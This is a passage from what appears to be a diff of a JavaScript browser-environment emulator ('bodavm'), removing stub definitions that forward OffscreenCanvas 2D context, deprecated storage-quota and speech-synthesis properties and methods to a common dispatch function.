filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingEnabled", {configurable:true, enumerable:true, get:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments)}, set:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingQuality", {configurable:true, enumerable:true, get:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_get", arguments)}, set:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeStyle", {configurable:true, enumerable:true, get:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_get", arguments)}, set:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillStyle", {configurable:true, enumerable:true, get:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_get", arguments)}, set:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetX", {configurable:true, enumerable:true, get:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_get", arguments)}, set:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetY", {configurable:true, enumerable:true, get:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_get", arguments)}, set:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowBlur", {configurable:true, enumerable:true, get:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_get", arguments)}, set:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowColor", {configurable:true, enumerable:true, get:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_get", arguments)}, set:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineWidth", {configurable:true, enumerable:true, get:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_get", arguments)}, set:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineCap", {configurable:true, enumerable:true, get:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_get", arguments)}, set:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineJoin", {configurable:true, enumerable:true, get:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_get", arguments)}, set:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "miterLimit", {configurable:true, enumerable:true, get:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_get", arguments)}, set:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineDashOffset", {configurable:true, enumerable:true, get:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_get", arguments)}, set:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "font", {configurable:true, enumerable:true, get:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_get", arguments)}, set:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textAlign", {configurable:true, enumerable:true, get:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_get", arguments)}, set:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textBaseline", {configurable:true, enumerable:true, get:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_get", arguments)}, set:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontKerning", {configurable:true, enumerable:true, get:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_get", arguments)}, set:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontStretch", {configurable:true, enumerable:true, get:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_get", arguments)}, set:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontVariantCaps", {configurable:true, enumerable:true, get:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_get", arguments)}, set:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "letterSpacing", {configurable:true, enumerable:true, get:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_get", arguments)}, set:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textRendering", {configurable:true, enumerable:true, get:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_get", arguments)}, set:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "wordSpacing", {configurable:true, enumerable:true, get:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_get", arguments)}, set:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clip", {configurable:true, enumerable:true, writable:true, value:function clip (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clip", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createConicGradient", {configurable:true, enumerable:true, writable:true, value:function createConicGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createConicGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createImageData", {configurable:true, enumerable:true, writable:true, value:function createImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createLinearGradient", {configurable:true, enumerable:true, writable:true, value:function createLinearGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createLinearGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createPattern", {configurable:true, enumerable:true, writable:true, value:function createPattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createPattern", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createRadialGradient", {configurable:true, enumerable:true, writable:true, value:function createRadialGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createRadialGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "drawImage", {configurable:true, enumerable:true, writable:true, value:function drawImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "drawImage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fill", {configurable:true, enumerable:true, writable:true, value:function fill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fill", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillText", {configurable:true, enumerable:true, writable:true, value:function fillText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getImageData", {configurable:true, enumerable:true, writable:true, value:function getImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getLineDash", {configurable:true, enumerable:true, writable:true, value:function getLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getTransform", {configurable:true, enumerable:true, writable:true, value:function getTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInPath", {configurable:true, enumerable:true, writable:true, value:function isPointInPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInStroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "measureText", {configurable:true, enumerable:true, writable:true, value:function measureText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "measureText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "putImageData", {configurable:true, enumerable:true, writable:true, value:function putImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "putImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "roundRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "save", {configurable:true, enumerable:true, writable:true, value:function save (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "save", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setLineDash", {configurable:true, enumerable:true, writable:true, value:function setLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "stroke", {configurable:true, enumerable:true, writable:true, value:function stroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "stroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeText", {configurable:true, enumerable:true, writable:true, value:function strokeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "transform", {configurable:true, enumerable:true, writable:true, value:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "transform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "translate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arcTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "beginPath", {configurable:true, enumerable:true, writable:true, value:function beginPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "beginPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "bezierCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clearRect", {configurable:true, enumerable:true, writable:true, value:function clearRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clearRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "closePath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "ellipse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillRect", {configurable:true, enumerable:true, writable:true, value:function fillRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "moveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "quadraticCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "resetTransform", {configurable:true, enumerable:true, writable:true, value:function resetTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "resetTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "restore", {configurable:true, enumerable:true, writable:true, value:function restore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "restore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeRect", {configurable:true, enumerable:true, writable:true, value:function strokeRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeRect", arguments)}},'prototype'); - - -bodavm.memory.globalobj['DeprecatedStorageInfo'] = function DeprecatedStorageInfo() { } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeprecatedStorageInfo'] , "DeprecatedStorageInfo"); - -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "TEMPORARY", { configurable: false, enumerable: true, writable: false, value: 0 }); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "PERSISTENT", { configurable: false, enumerable: true, writable: false, value: 1 }); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "TEMPORARY", { configurable: false, enumerable: true, writable: false, value: 0 },'prototype'); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "PERSISTENT", { configurable: false, enumerable: true, writable: false, value: 1 },'prototype'); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "queryUsageAndQuota", { writable: true, enumerable: true, configurable: true, value: function queryUsageAndQuota() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'] .prototype, "DeprecatedStorageInfo", "queryUsageAndQuota", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "requestQuota", { writable: true, enumerable: true, configurable: true, value: function requestQuota() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'] .prototype, "DeprecatedStorageInfo", "requestQuota", arguments) } },'prototype'); - -bodavm.memory.globalobj[ 'webkitStorageInfo'] = {} -bodavm.memory.globalobj[ 'webkitStorageInfo'].__proto__ = bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype - -bodavm.memory.globalobj['SpeechSynthesis'] = function SpeechSynthesis() {this._boisinit=bodavm.config.isinit; return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesis'], "SpeechSynthesis"); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "cancel", { writable: true, enumerable: true, configurable: true, value: function cancel() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "cancel", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "getVoices", { writable: true, enumerable: true, configurable: true, value: function getVoices() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "getVoices", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pause", { writable: true, enumerable: true, configurable: true, value: function pause() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pause", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "resume", { writable: true, enumerable: true, configurable: true, value: function resume() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "resume", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speak", { writable: true, enumerable: true, configurable: true, value: function speak() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speak", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "paused", { set: undefined, enumerable: true, configurable: true, get: function 